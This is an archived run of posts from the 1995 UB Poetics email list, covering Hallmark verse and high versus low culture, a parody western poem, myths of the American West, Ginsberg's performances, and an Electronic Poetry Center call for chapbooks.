Eric, Jorge and Lindz - hope you don't mind. I love it. Thanks I quite agree and somehow understand

> *The problem as I see it of Hallmark cards and other such genres (I can't think of anything else to call it) is that their primary function seems to be affirmative. Things aren't as bad as they seem, in fact they are pretty darn good. This is not a problem only related to Hallmark but kid's cartoons (care bears;barney) and sitcoms (where Johnny's anti-social acting out by throwing*

> *water balloons off the balcony are resolved when dear old dad turns the hose on >his) and talk shows (have a problem with incest, let the expert and the audience help you!).*
> *The function of all of these is to provide pseudo-solutions.*
>
> *i am convinced that hallmark poetry belongs in the no retreat/no relief category. Many times it makes you confront events in the world (e.g. birth, death) and there is no retreat & no relief from sending or receiving them.*
>
> *I really like the idea of Hallmark as propaganda. It's a secure medium of which everone is familiar, a perfect place to hide enforcements of proper social behavior from Middle america.*

respect
cris

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420. **Bill Luoma**

Re: westerns

Mon 27 Mar 1995

I was obliged
by your baked beans.
They measured out
to ten tumbleweeds. You
also bought new fangled
bedrolls and employed them
against the coyote sounds
of the night. I called you
my little insulite pad.

The prairie gives off long
when we roam. You built
a fire to warm our socks.
Grateful night critters
blinked at the shadows.
The buttes got mangy.

Your horse sense
kept you away from
the strip mining
contracts. You got
nuggets in the pan
at Trinity Center.
The mountain folk
didn't no ways

stand you off.
Your pockets
were full
of gold.

Barkeep, take my gun
for safekeeping.
I wish to bathe
the trained longing
of my whipper snapper.

I played with the fur
trappers while you
were on the trail.
I struck it up
with one of the lonely
girls from Abilene.
She spoke highly
of your playing habits.

I want to crouch around
your merry mack.
Zoom Zoom
says the rider.

My strums are for you,
saloon girl. Fanciful
flouncing is your game.
I reckon only your
bosom is level headed.
Give me a kiss
before high noon.

The cook returns
the ladle to the chuck
wagon. O friendly
ground, tonight you'll
substitute for my lover.

The gray puffy clouds
roll in the afternoon.
We don't yield as much
to the gracious outline
of the sun. I've seen you
holding the rifles. You
learned about animal sex

from hunting. You can
empty shells.

Our horses break
the sod. Buzzards
circle the roundup.
I wear a Stetson
in Kansas City
to impress you.
This is how I go
about courting.

The paper fan
delivers sweet air
to the back of your neck,
my angel. Your cowboy
wings fan the drafts
of the Southwest. I
present to you my
newly-oiled chamber.
Are you ready for
the back country
of my love.

You continuously build
such campfires. And you
announce your greed. I am
 all tied up by your silks.
The big night pretends
to put it out.

You wear a leather mantle
against the dust. You make
coffee in the morning.
You make the range
a reflection in your
golden spurs. Please draw
that six and squeeze me
off a few rounds.

You can leave
your chaps on,
partner. But that
gunbelt is in the way.

The rifleman
is a strong emotion.

We left shotgun
pellets behind us.
We left groves
of trees wondering.
We left coyotes
trying to join
our love yelps.
You old horny toad,
wait till after
I cook up the rabbit
on a spit.

To stay up with the moon
and you and tequila. I kept
feeding the fire.
The corona broke
and we saw the sage.
You said you saw
everything. Wolves
were howling.

Remember the buffalo
bread you baked? I've
never met a better baker.
You sure can shoot, too
and throw a steer
on its side at the rodeo.

We needed to water
the horses. You sniffed
it out. The leaves
stroked the water
in its hidden places.
The animals drank.

The creatures don't protest
our take over of this spot.
Not if we deal them in,
the cicadas, the prairie
skeeters and the vast
distance of it all.

My bedroll is wet
with morning dew.
I must find my breakfast.
Nuts and berries are
plentiful, but the brush
is rustling with
animal sound.

I started cooking
over the fire. I put
in a few irons too.
I may do some
touch-up branding
of your rustled cattle.

Sing me a song about the range,
my love. I've heard a few
sad ones about the Big Valley
and the Grand Canyon.
Please, seduce me again
with your sad songs.

You panned for gold
in Placerville. Do you
still have that burning
pain? I know what
happened in the mining
accident wasn't my fault.
I turned on the high-
pressure hose out of love.

I would be careful
of that branding iron
if I were you, in your 501s
and sheepskin collar
jean jacket. The irons
are hot now. They'll
be blackened any minute.

The marks of your territory
stand guard against the squatters.
Everyday hands are mending
your fences. I don't mind
the barbs. I'm your ranch

hand. I do the job
with pride.

The rushing river ends
up slow and brown
in the prairie. I am
completely in love
with your profile
against the mountains.
Your head moves up
and down with the horse.

Last night I ate mushrooms
in honor of the time
we tripped over the range.
I stepped in a cow patty
that reminded me of your hat.
Diamondbacks were
hanging from the scrub.
You dowsed the earth
and made the heavens roll.

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421. Gary Sullivan
low?
Mon 27 Mar 1995

Sandra, here's some Olson for you t'make you feel better:

"...unlike India, the soil, here, is most shallow, a few inches, & only occasionally, in drift pockets, 6 inches or more. So the struggle of the roots is intense. But a long time ago the boys beat it this way. It's grass that is the big enemy of maize, the only real one, for they burn off the bush, before they plant. But grass keeps coming in. And in the old days, they were able to stand it off - for as long as seven years (the maximum life of milpa) - by weeding out the grass by *hand*. But then came the machete. And with it, the victory of grass in *two* years. For ever since that iron, the natives cut the grass, and thus, without having thought about it, spread the weed-seed, so that the whole milpa is choked, quickly choked, and gone, forever, for use for, maize (grass is so tough it doesn't even let brush or forest grow again!)

"One curious corallary, that, the Communist future of this peninsula will have to reackon [sic] with: that, the ground is such, and its topography so humped & rocked, that, still, the ancient method of planting - with a pointed stick, and sowing, with the hands - is far superior to any tractor or planter or whatever."

(_Mayan Letters_)

So odd, I think, someone (not you, Sandra) complaining weeks ago about this list "degenerating" to discussions re: "crop rotation." Discussion of crops not beneath Olson; why so beneath his readers?

Felt similarly w/respect to your "high" vrs. "low" culture complaint/post. Were "sports" beneath Pindar? Tenth century Japanese "correct" vs. "noncorrect" behavior (read: "gossip"--& her pillow book's filled w/it) beneath Sei Shonagon? Whaling beneath Melville? Sappho, Catullus..."vulgar"? _I Remember_ and _My Life_ wonderful because about things seen in the Louvre? How much "high" art is, in fact, excusively *about* "high" art? Even Joyce wrote lovely little bits about farting. (The topic for two solid weeks on an e-space list devoted to Joyce.)

I love Olson, Sandra, but've found the discussions on this list re: Hallmark much more interesting than the solemn "Achievement of Olson"- acknowledgments here a week or so ago. Just 'cause Olson's name's dragged into the discussion doesn't mean the talk's gonna be all that lively or informative.

I know of no interesting writing that hasn't, specifically, addressed the civilization in which the writing was done. TV & Hallmark (or Hallmark-equivalent) are part of contemporary civilization. Seems natural they come up as topics of discussion here.

The rich
will make temples for S'iva.
What shall I,
a poor man,
do?

My legs are pillars,
the body a shrine,
the head a cupola
of gold.

Listen, O lord of the meeting rivers,
things standing shall fall,
but the moving ever shall stay.

--Basavanna 820

Dust or flesh--to use Dahlberg's distinction--, Sandra?

Gotta run, now. Academy Awards start in 15 minutes & I'm popcorn boy.

Yours,

Gary

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422. braman sandra
Re: low?
Mon 27 Mar 1995

Gary Sullivan -- Enjoyed your post and I completely agree with you. Was only meaning to say in my recent high/low comment that it shouldn't have to be that one is laughed out of town if one enjoys Pindar and Olson as well as sports and Hallmark. I'd let ALL flowers bloom.... In fact, I about got thrown out of graduate school my first semester in when, as I say in a poem about Rodin's mistress, "never was socialized well," I screamed out "bullshit" in an auditorium full in response to a professor trying to sell the high/low distinction....The guy wouldn't talk to me for two years, and it didn't do much for my effort to get support, either.... There's no dispute between us on this point, Gary. Sandra

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423. Lindz Williamson
Re: Bill's westerns
Tue 28 Mar 1995

Thank you your poem expressed the exact elements of the "Wild West" that I was discussing. I don't want to be mis interpreted, I do like westerns and even more I adore horses. I'm just interested in how the Mythical cowboy has emerged once again in the decade of the politically correct. Not that I want to discuss that nightmare. I just finished Cormac McCarthy's "All the Pretty Horses" and was puzzled by its mass appeal. I found it varying and inconsistent in content and style. I was equally swept away and disappointed. The langauge of the west is poetic as it combines old world English with New world experience, but being a history major I feel it takes far more than a few catch phrases to represent an era. Historical the representation of the western is very problematic. There are sensitive issues or race, sex, religion and properity ownership to be addressed. The western of the 50's and 60's never bothered to address these concerns and that is what has become the stereo type of the perception of the west. Ondaatje has written a excellent docupoem about Billy the Kid, but it content it reinforces the mythology of the Wild West. I'm not sure if this is good, bad, or accurate but it concerns me. Possibly this is because I've been reading Ovid, Tacitus and Virgil, and I've been wondering how much of their poetry, histories and accounts are actual history or gossip or poetic mythology. I spoke once with George Bowering and he told me of a discussion he had with Ondaatje about writing a western without all the "Hoo-ha". Ondaatje replied writing a western without the "hoo-ha" would be total hoo-ha. If this is possible then does that mean the stereotypes are so

ingrained in the genre that to remove them would create something entirely different?

Yippe-kay-ya
Lindz

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424. Gary Sullivan
Re: low?
Tue 28 Mar 1995

Dear Sandra: Yes, we're definitely in agreement. Great of you to yell bullshit, when most'd only think it, in a crowded room. Reminds me of an anecdote a poet in Hoboken, NJ, Joel Lewis, told me. He was teaching a poetry class (at the Y, I think) and relating an anecdote to his students about the first time he'd seen Sapphire read (or was it lecture?). Sapphire'd started in on some apparently anti-Semitic spiel, and a woman in the audience stood up and started yelling as loudly as she could, no one could figure out what she was saying, just standing there yelling at the top of her lungs. Well, as Joel's relating this anecdote to his class, he notices one woman growing more & more uncomfortable, wanting to say something, and finally she blurts out: "I *was* that woman!" She goes on to explain to Joel & the class that she had been so horrified by what Sapphire'd been saying, she'd had to drown it out, but couldn't think of anything to say, so she just "lost it," stood up and began shouting SENTENCE FRAGMENTS off the top of her head to block out the offensive spiel coming from the stage. But, back to the point. Yes, no one should be laughed at for preferring wonderful poetry to drivel. I haven't been in a university for 10 years, so don't know what the climate's like, but it's true enough that poets are often seen, when seen at all at large, as clowns. There's a wonderful bit in _The Sullen Art_, I think the interview with Rexroth, where Rexroth's complaining about how Ginsberg (this is early 60s) plays into this, by giving magazines like _Time_ ample opportunity to cast him (&, I guess, other living poets, by association) in the role of village idiot. (Having just seen his performance yesterday in _Poetry in Motion_, I've no problem following Rexroth's logic. Ginsberg's no moron, but man can he play one on TV.) Do you know Gerald Burns's book, _Shorter Poems_? Gerald's on the cover, in clown make-up & bowler-- he wrote me about it once: "Writers are not just ignored. We are laughed at. We're a joke, wear big shoes and red noses." But, given that this is an e-space of POETICS, I don't think you need at all be worried about being laughed out for your "elitist" preferences. I'd *hope* not, anyway. Beleaguered on occasion, maybe, & if I've contributed to that, I'm sorry. The only reason I responded to your post as I did was because I'm by nature admittedly paranoid, get a little spooked when people mention anything

smacking of "list management." That probably wasn't even on your mind, & in any case, want to apologize for overreacting. Anyway, Sandra, no big whoop, & best w/your article. (You'll post it when you're through, yes?) Yours, Gary

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425. **Wystan Curnow**

Re: low?

Tue 28 Mar 1995

Dear Gary, Re-Poetry in Motion and Ginsberg being no moron but playing one on TV. I didn't read it that way. I thought he was great. And THAT suggests something of what's involved in moving across borders between 'high' and 'low'. It's one thing to have the attitude...its another thing to do the hi-lo shuffle. (there was a singing group called the Hi-Los once) It's a good while since I last heard AG perform, but over the years I have greatly admired his risk-taking. Again and again he would prove that someone who won't be embarassed doesn't embarass. A deep confidence that will prove itself. I don't know how long that sort of thing can sustain itself nor what exactly are the conditions which enables to be achieved. Let's imagine a reading of Hallmark verse, what would that be like? Wystan.

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426. **braman sandra**

no big whoop

Tue 28 Mar 1995

Gary -- Was referring to Champaign/Urbana, not this welcoming e-space, in my post about feeling beleaguered. Despite the Cary Nelson's of this world, or in some ways because of....

By the way, on the gender issue -- just read that only 5% of net users are women, so it seems to me this list is doing just fine....

Which article is it you wanted to see posted?

Sandra

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427. **braman sandra**
The West
Tue 28 Mar 1995

Surely, Lindz, you know George Bowering's fabulous CAPRICE, a novel in which all the stereotypes of the West are turned on their heads, and of course Ed Dorn's SLINGER, the epic poem upon which some of us were raised and that does the West the way the West was meant to be done.... And then, if I may, I would recommend Douglas Woolf's WALL TO WALL, a novel which depicts the West as it really was/is.... Sandra B

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428. **Michael Boughn**
Re: Bill's westerns
Tue 28 Mar 1995

Dear Lindz:

Just caught your latest post after getting back from a matinee of *The Wild Bunch* after rereading C. McCarthy's *Blood Meridian*. I guess I think it's just too simplistic to speak of some singular "western" of the ninties (as it is to speak of this as "the politcally correct decade"--somehow I don't think that's Newt's agenda). It was wild seeing Bill Holden and the bunch again all these bloody years later, and the ways in which the movie (which seemed so outrageous 25 years ago) is so deeply infused with the romance of 60's "outlaw politics"-- (this on the day after the EU accused Canada of Wild West politics and piratery off the grand banks--yahoooo, get out yer wire cutters, Bri, ain't nobody nettin' us in--the iconographic problem here being, are we the ranchers or the sheepherders?).

Compare it with McCarthy's *Blood Meridian* (which is much less sentimental than *Horses*) or for that matter Eastwood's *The Unforgiven* and you begin to approach the complexity of the issues here. I don't think it's ever been a question of simply deploying "stereotypes" (for the ultimate of that cynicism, see F. Gump). Compare, for instance, *Wyatt Earp* with *Tombstone* which came out within six months of each other, and which treat all the mythologems of the Earp myth differently (especially the famous shootout story where the Earp gang gets pinned down by the Clantons at the river and Wyatt gets up and walks into a hail of bullets blasting away unscathed. *Tombstone* has it as a kind of divine intervention, where Kevin, to give him his due, portrays it as a kind of mindless, desperate luck--but now we're into *Pulp Fiction*). Which is the "nineties" version?

Anyway, all this by way of saying, yeah, yahoo, but whose yahoo, and yahoo how?

Best,
Mike
[redacted]

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429. Ron Silliman
Bob Kaufman & Hallmark
Tue 28 Mar 1995

>Help? Bob Kaufman's poem "The American Sun" includes a ref. to "Arthur
>Farnsworth Television." Haven't been able to ID this -- Can anybody
tell me who Arthur Farnsworth is/was? Maria or any other Kauman
readers??
>

My posts from work seem not to be getting out to the net. So if you see a second answer to this in the next few days, it's only because some systems engineer has toggled a switch somewhere....

But, Philo T. Farnsworth (a great name) was one of the early inventors of television, did much of his work in SF and has a plaque to his achievements on a wall on Sansome Street in North Beach, just across from the large Hunan Cuisine. Kaufman would have walked past that plaque on a regular basis. Don't know where the Arthur comes in, tho....

Also, back to another post I made that never got out, Darrell Gray worked for Hallmark in the late 60s or early 70s, right after MFA school, and gave me the impression that some of the other Iowa City grads did likewise. When I was in KC two years ago, I stayed at the hotel right next to the big mall that Hallmark "sponsors," and noted that their corporate tagline read:

"Hallmark, America's largest producer of greet cards and social expression products."

Productizing social expression does seem to be what it's all about.

Ron Silliman
[redacted]

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430. Mn Center For Book Arts
Re: The West
Tue 28 Mar 1995

I'd also recommend Dorn's Captain Jack's Chaps, or HOUSTON/MLA, which brings the West into the contemporary Modern Language Association context, Hyattexture, and more. Also bp Nichol's version of billy the kid , THE TRUE EVENTUAL STORY OF BILLY THE KID, in Nichol's CRAFT DINNER (Aya Press, 1978), is marvelous.

charles alexander

On Tue, 28 Mar 1995, braman sandra wrote:

> *Surely, Lindz, you know George Bowering's fabulous CAPRICE, a novel in which all the stereotypes of the West are turned on their heads, and of course Ed Dorn's SLINGER, the epic poem upon which some of us were raised and that does the West the way the West was meant to be done....*
> *And then, if I may, I would recommend Douglas Woolf's WALL TO WALL, a novel which depicts the West as it really was/is....*
> *Sandra B*

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431. Edward Foster
Re: POETICS Digest - 25 Mar 1995 to 26 Mar 1995
Tue 28 Mar 1995

aldon: philo taylor farnsworth invented the tv, first working model c. 1927. established farnsworth television and radio (research org.) later. don't know the source for "arthur" -- naybe kaufman misremembered. maybe "arthur" made better sound/music.

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432. Lindz Williamson
Thanx pardner
Tue 28 Mar 1995

I agree to dismantle the stereo type the genre is too simplistic, but what I think I'm hung up on is the aspect that this medium is full of myth that a lot of people take as the truth. (Out of 1000 Americans polled around 49% thought F Gump was a documentary, but after the Oscars last night I will now go into convulsions if I hear one more Gump quote) I suppose part of the building of the west was a dream, the last frontier and all that but it makes me wonder about how I am represented by this. My father grew up along the Oregon trail, living on reservations as his step father built the rail line. The way he describes

it there was no romance to this lifestyle. He spent lonely summers in the hills cooking for the sheep herders and to this day he will not ride a horse again. This was no Wyatt Earp world. My ancestors hailed from Norway and Scotland settling in Utah to do the homestead thing and then pushed on to Central Oregon. What I would give to know how they lived. Looks like I have a western of my own to write.

And for my recommended reading list Howard O'Hagon's *Tay John*. This novel is epic tale of Western myth. However, it has been critiqued for slight misogynist undertones, but personally I haven't found one that doesn't find women contemptable.

Lindz

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433. Ryan Knighton
Re: The West
Tue 28 Mar 1995

I agree with Sandra that there are most definately examples of contemporary gunsmoke engaged in a shootout with the genre. In fact, I wuld go so far as to say that the genre is becoming the story in works like CAPRICE and SLINGER. I suppose its the differnce between writing about the wild west and The Wild West. Lindz, you might also want to take a look at Nichol, Spicer and McClure's *Billy the Kid*s. Ah yes, "Billy had a short dick but they did not call him Richard". You card.

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434. Loss Glazier
Chapbooks at EPC
Tue 28 Mar 1995

This is a call for your out-of-print chapbooks / books that you might like to put in the EPC author library. Here's the scoop, the UB libraries have received authority from the US Dept. of Educ. via OCLC (a library consortium) to catalog Internet resources. We are very lucky that they are considering some of our EPC texts for full-scale cataloguing. What this means is that texts will be noted through a lot of library catalogs. SO send me a note if you are interested in this. It's a terrific opportunity! Loss

---

<< Loss Pequen~o Glazier >> . << [redacted] >>
Co-administrator, Electronic Poetry Center
>> http://writing.upenn.edu/internet/library/e-journals/ub/rift

Co-editor, RIF/T: An Electronic Space for Poetry and Poetics
>> [redacted]

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435. **Gary Sullivan**
To Sandra & Wystan
Tue 28 Mar 1995

Dear Sandra & Wystan: Sandra, in your original post you'd mentioned an editor asking you & others to write about something "forbidden," and you'd mentioned possibly writing about the intolerance of elitism. That's the article I'd meant. Would love to read it if you do it. Wystan, I like what you say about Ginsberg's proving time & again that someone who won't be embarrassed doesn't embarrass--I think that's accurate w/respect to his intentions, and I think in some cases he even proved as much; though, I do wonder how much of that gets used as an excuse to sluff off responsibility. I guess I know one too many younger poets he's aggressively hit on, casting-couch style, to give the guy complete benefit of the doubt w/respect to his "good" intentions. W/respect to his performing his "rock music" as "risk taking"--no difference between that & the first-time open-mike-nighter, up there reading the first thing s/he's scrawled to paper. Nothing wrong with it, but can't help but think that if it were anyone but Ginsberg up there being that incompetent, no one'd give him the time of day. My idea of risk-taking involves something more than exercising one's "star power" (a great song by Sonic Youth, btw) and, while I do have a lot of respect for Ginsberg as a poet, I guess I don't see the value in everything he does, myself. Would never ask (or even want) him to "stop the madness" so to speak, but reserve the right to hit the VCR's "mute" button & put on (say) something by the Hi-Los when he gets tedious. Or to question anyone's "Just Do It" approach when it involves (say) sexual harassment. Yours, Gary

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436. **Michael Boughn**
Re: The West
Tue 28 Mar 1995

To paraphrase Ryan Knighton, west is west and West is West and never the twain, etc. I think Wyatt Earp's got more to do with Enkidu than Oregon. Onward . . .

Mike
[redacted]

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437. **Edward Foster**
Re: POETICS Digest - 25 Mar 1995 to 26 Mar 1995
Tue 28 Mar 1995

---

aldon: re: "arthur" in "arthur farsworth television," i'm wondering if that's arthur godfrey, who was sort of mr. television in the fifties. just a guess.

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438. **braman sandra**
To Gary
Tue 28 Mar 1995

Well, Gary, of course it's just the problem with forbidden topics that they remain forbidden, and as far as I know that Journal of Communication issue never got beyond pipe dream stage.... Sandra

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439. **Tony Green**
mainstream avoidance?
Tue 28 Mar 1995

Dear John Geraets, That question might well be private, but you've asked me on this list, how I've fared with the mainstream : so briefly, I have not been anthologised in NZ (Michael Morrisey asked me for a piece of fiction, I sd no; nobody else has asked me). Three little books were published offset from my old Sharp electronic typewriter (a machine that was subsequently near demolished by my kids). "Software" was published by Splash, but I was an editor and typed it, photo-copied and designed cover from my own photos. Distribution of the first three was by hand, knocking on doors and sales at readings. Software went thru the Splash distribution list, assisted by Segue. Most sales "by hand" or exchanges. One piece in "Landfall" only because Michele Leggott edited a special number. The "her axolotl" poem (20 years ago went where?....)in a magazine. Graham Lindsay gave me space in Morepork, Alan Loney in Parallax, , otherwise that's about it.

I never wanted,don't particularly want, a literary career.

The record for art history is about the same. I edited the Bulletin of New Zealand Art History (with Michael Dunn) for about nine years) and when there was a shortage of copy I wrote more to fill it. The two little Poussin books are in photocopy, A5, off my typewriter, but in the NZ General Assembly for copyright

purposes. These were distributed as gifts mostly, or sold to students by the department of art history for $1 each, cost.

What I have had printed in quantity here is art criticism and art journalism and essays for catalogues. That's pleasant enough, and what the Mainstream thinks I'm useful for.

John Byrum, in Ohio, was hospitable and included pieces in Generator I and 2. That was through the friendship of Tom Beckett (who introduced me to the extraordinary work of Frank Fecko, and later to Frank, when I visited him in 1987 0r 8). I have done very little about trying to publish poems etc otherwise. And I don't work at writing poetry that much anyway.

I have always though my most interesting relation with text is in the classroom esp in seminars.

U.S. readers of this all know by now where the delete button is....but that is about right for the info you asked for.

Best,

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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440. George Bowering
Re: Rilke Quote
Tue 28 Mar 1995

The quotation I use is one by M.D. Herter Norton. I have no idea whether it is better or worse than others. In the 1984 Continuum edition of the Works.

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441. Wystan Curnow
Re: The West
Tue 28 Mar 1995

Dear Mike.

I thought that was Hyatt Earp? Could be wrong--it's not my

culture.
Wystan

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442. George Bowering
AG
Tue 28 Mar 1995

Of course, sure, Ginsberg often hits on young guys. He never denies that--in fact, mentions it from time to time. What is he supposed to do: hit on old guys? If the young guys are smitten by fame, well, Allen isnt going to make them pay for it.

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443. Jorge Guitart
hallmark and social expression
Tue 28 Mar 1995

---

we poets are social expressions of social expressions.
we consume poetry and are consumed by it
hallmark users consume hallmark cards but are not consumed by them: they just
use them.
hallmark poetry is applied poetry. nonhallmark poetry is theoretical poetry except for the kind that allows no relief & no retreat which is also applied poetry.

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444. Jeffrey Timmons
Re: Why Teach? (Jeffrey Timmons) (fwd)
Tue 28 Mar 1995

---------- Forwarded message ----------
Date: Tue, 28 Mar 1995 21:11:09 -0700 (MST)
From: [redacted]
To: [redacted]
Subject: Re: Why Teach? (Jeffrey Timmons)

On Tue, 28 Mar 1995 [redacted] wrote:

> problem here is suggestion that politics is prior to poetry or that
poetry should be used to engender political activism. when poetry is
used to illustrate politics or fulfill it, then you don't have poetry

but politics.
>

Oh, you're roping me into territory I'm not responding to directly. I was just taking issue with . . . --god, what was it?--a characterization of teaching as being simply about earning money or some other equally vulgar end (as necessary and nice as earning cash for our labor in that underpaid enterprise is). And now that I think about it perhaps what the real problem is is people who continually try to divorce politics and the classroom and, even poetry from politics (now that you've lured me here), because that seems to me to "aestheticize" aesthetics to the point of triviality that simply reinforces the marginality of the arts to culture and society so that not only are they not studied but continue to fall away from any sense of having to do with people's lives. Separating the areas of life you suggest is the problem. It only reinforces the view that art is art and has nothing to do with anything else. If there were a pernicious "political" view it is this.

I hope you don't mind me posting this to the list . . .

Jeffrey Timmons

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445. FUNKHOUSER CHRISTOPH

I'm a loser, baby / so why not delete me . . .

Wed 29 Mar 1995

Blame Charles Bernstein who in Buffalo friday

asked there be in this space a reminder of the presence of D I U , _descriptions of an imaginary univercity_, an electronic "poetry" journal assembled by the logic of snowflakes

newest issue featuring (orange flowers of) yes!

* * * a communique from Subcommander Guantanamo Bey * * *

! of the anti-hegemony project ! ! !!!

& other delicacies

Sub via [redacted]

also , 2 issues of _Passages_, a recently birthed "technopoetics"

(that's anti-copyright, share-ware to-the-max)

"magazine,"
Conceptedited by Chrissy Funk Funkster

advisorily edited by Jellie Belle , Burnin' Beano

& Donald Jaybird is available at your computer now.

[redacted]

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446. **Aldon L. Nielsen**
Re: The West & The rest of Us
Wed 29 Mar 1995

Actually, this is a test, late night on the West Coast, of the reply function with a revision in the subject line.

Thanks to Ron & Ed for the PhiloFacts -- Couldn't find "Arthur" in my wife's Television Encyclopedia, and missed Philo all together.

Soyinka will be speaking in L.A. April 13 & 14, in all his tigritude, for any of you in the area who might get there -- UCLA -- check with African Studies Program for info.

Just finished reading Cesaire with mostly white and Asian-American students at San JOse State; found the students interestingly interested in "negritude," far more so than I would have expected in these days of the California Civil Rights Initiative.

Lastly, a title I forgot to include in my brief addition to our reading lists. There's a great chapbook from Chusma House by Alfred Arteaga, titled _Cantos_. Here's a taste from the first section:

X antecanto: the xicano sign

These cantos chicanos begin with X and end with X. They are examples of xicano verse, verse marked with the cross, the border cross of alambre and rio, the cross of Jesus X in Native America, tha nahuatl X in mexico, mexicano, xicano. It is our mark, our cross, our X, our sign of never ceasing being born at

the point of two arrows colliding, X, and at the gentle laying of one line over another line, X. It is the sound we make to mark one and other. August 29, familia, raza, as well as to exclude ourselves from the patterns of death imposed from without. We sign the X each time we speak we cross at least one border. And because it is our sign andamos cruzando cruzados, naciendo siendo xicanos otra vex, cada vez, esta vez. I am the point of my own X but the arms, los brazos vienen de lejos, and the arms reach far.

Nacido, East Los X3; Escribo, San Jo X4: AA

-------- remember Edgar Poe xing his paragraph? Might also look at a collection of essays Arteaga edited, for Duke University Press, titled _An Other Tongue_, which includes a good essay by Arteaga.

Charles, you know Alfred, tell the Buffalo contingent about him!

xxxx
a.l. nielsen (Al-Don X) _not_ Dan

↑ Index

447. Lindz Williamson
back to poetry
Wed 29 Mar 1995

Blair stated

"Political statements can be poetry or propaganda or both. Propoganda can be the truth in a political context. But if it is poetry, the residue that is left will be regarded more for its aesthetic content than its political. Because politics has a way of being current and art has a way of being eternal or out of time."

I dont believe that I can agree that art or poetry is out of time or eternal. True western culture worships the written word enough to transcribe and save texts, yet so much is lost too. I love the phrases and glips of poetry left behind by Sappho, but I do not know her true intention in writing unless I study the time in which she has written these verses. Her words have lasted time, but has her context? In English lit we are blessed with an abundance of writers that annoy and study each other so it is easier to preserve the implied connotations or the motive of the writing. In that sense politics of the era, the social mood are essential to eternalizing the "art". Words are words and only become poetry when they have meaning. Cultural aesthetics are needed to appreciate and render something into art, but these are not eternal and definitely not universal.

Lindz

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448. **Mark Roberts**

Re: Chapbooks at EPC

Wed 29 Mar 1995

> *This is a call for your out-of-print chapbooks / books that you might like to put in the EPC author library. Here's the scoop, the UB libraries have received authority from the US Dept. of Educ. via OCLC (a library consortium) to catalog Internet resources. We are very lucky that they are considering some of our EPC texts for full-scale cataloguing. What this means is that texts will be noted through a lot of library catalogs. SO send me a note if you are interested in this. It's a terrific opportunity!*
> *Loss*
>
> *Hi Loss, yes I'm very interested in this. Can I be naive and ask how do I get involved - I'd be keen to do two things, and they might require completely different approaches.*
>
> *1. To submit a kind of selected of my own work for an author site, would include visual work, text work and sound work - sometimes all three interlinked versions under the same title.*
>
> *2. To have some old chaps both by myself and others I've published - Allen Fisher, P.C.Fencott, Chris Mason and others - catalogued.*
>
> *But you might be confined to U.S. authors or publishers.*
> *Just curious, as always*
>
> *If you are then in what format would I submit? Who does the formatting?*
>
> *respect*
> *cris*

Is this just limited to US publishers? I've got a handful of out of print titles that I would be interested in sending in - and I'm sure there would be other small Australian publishers who would be in a similiar position.

Mark Roberts

Australian Writing OnLine

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449. **maria damon**
Re: POETICS Digest - 25 Mar 1995 to 26 Mar 1995
Wed 29 Mar 1995

---

is't possible that "arthur farnsworth television," while being semi or two-thirds historical (minus, apparently, the "arthur") is also an extended anagram for both "art" and "fart"? from kaufman the satirist i'd believe it...--m damon by the way, who was "elissi landi"? i know elissa landi was an italian film actress, but why would kaufman use her name? anything special about her?

In message <[redacted]> UB Poetics discussion group
writes:
> aldon: re: "arthur" in "arthur farsworth television," i'm wondering if that's
> ar
> thur godfrey, who was sort of mr. television in the fifties. just a guess.

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450. **maria damon**
Re: hallmark and social expression
Wed 29 Mar 1995

---

lovely!--md

In message <[redacted]> UB Poetics discussion group
writes:
> we poets are social expressions of social expressions.
> we consume poetry and are consumed by it
> hallmark users consume hallmark cards but are not consumed by them: they just
> use them.
> hallmark poetry is applied poetry. nonhallmark poetry is theoretical poetry
> except for the kind that allows no relief & no retreat which is also applied
> poetry.

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451. **Ron Silliman**
Arthur Godfrey, Allen Ginsberg
Wed 29 Mar 1995

The Arthur Godfrey suggestion (re Kaufman & Farnsworth) is interesting. It set off some loose associations...

I was surprised at how thoroughly Godfrey in particular and his generation of music in general dominated Ted Berrigan's 1959 record collection (see appendix to Padgett's wonderful _Ted_) and how much rock and its various

protoancestors were NOT represented there. It made me wonder about musical influences on the poetry. I've heard both Bernstein and Watten wax quite eloquent on the subject of the influence of Bob Dylan on their work. Me too. Meeting Dylan at Newport in '64 was once the highpoint of my life.

And certainly several members of my G1 generation have fantasized themselves as rock stars at one time or another, ranging from the successful (Patti Smith, Jim Carroll, Laurie Anderson) to the whistfully silly (Serpent Power w/ Coolidge & Meltzer). Burroughs collaborating w/ Anderson does seem to show what's possible. And lets not forget the Fugs.

Ginsberg on the harmonium reminds me simultaneously of Bly and his idiot dulcimer, but also of the peculiar problematics of being Allen Ginsberg as well (if I were feeling more generous, I might imagine that Bly faces similar issues). Ginsberg is perpetually confronted with reading to large audiences that have very little knowledge of his genre, his generation, his anything. His performance works of the past 15 years or so seem to me to address precisely that conundrum. They don't work on the page at all, but they aren't really intended to. The Don't Smoke piece (don't even know if this is in print) is a terrific piece of theater, which is really what it is.

On the other hand, Ginsberg is at heart a satirist (this he shares w/ Bernstein & perhaps Perelman also) rather than an epic poet, say, or a lyric one. I've been struck in the past 6 months how much the performance model for both Ginsberg & Bernstein seems to be, say, Lenny Bruce (or George Carlin or Andy Kaufman or Lord Buckley) rather than who? Dylan Thomas? Paul Blackburn? The model seems to propose very difference functions for a text in the setting of performance.

McClure once told me that his generation "missed the boat" when it failed to convince the 60s rockers (thinking, I think, explicitly of the Grateful Dead & the Doors) that they needed to get their lyrics from the poets. All those royalties....

On the other hand, Robert Hunter (who IS the Dead's chief dramaturg) has been a very sympathetic reader of many people on this list & has read in public with the likes of Palmer, Hejinian, Watten, Harryman & Yrs truly.

Go figure.

Ron Silliman

[redacted]

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452. **Jonathan A Levin**
Buffalo talk
Wed 29 Mar 1995

List members in Buffalo--

No, it doesn't star Rock Hudson and Doris Day, alas, but my "Wallace Stevens and the Pragmatist Imagination" will come to you live at 2:00 Friday, March 31, at 309 Clemens Hall. To repeat what I've back-channeled some of you, it's adapted from my book-in-progress on pragmatism and American literary modernism (largely, in the book, Henry James, Gertrude Stein, and Stevens). Hope to see some of you there.

Jonathan Levin
NYC

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453. **Edward Foster**
Re: Why Teach? (Jeffrey Timmons) (fwd)
Wed 29 Mar 1995

---

no, it's not art for art's sake, but a question, literally, of what comes first.no one these days could argue, i trust, that aesthetics are sufficient, but one might argue that the poem is such insofar as it fulfills its own necessities.

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454. **cris cheek**
Re: Chapbooks at EPC
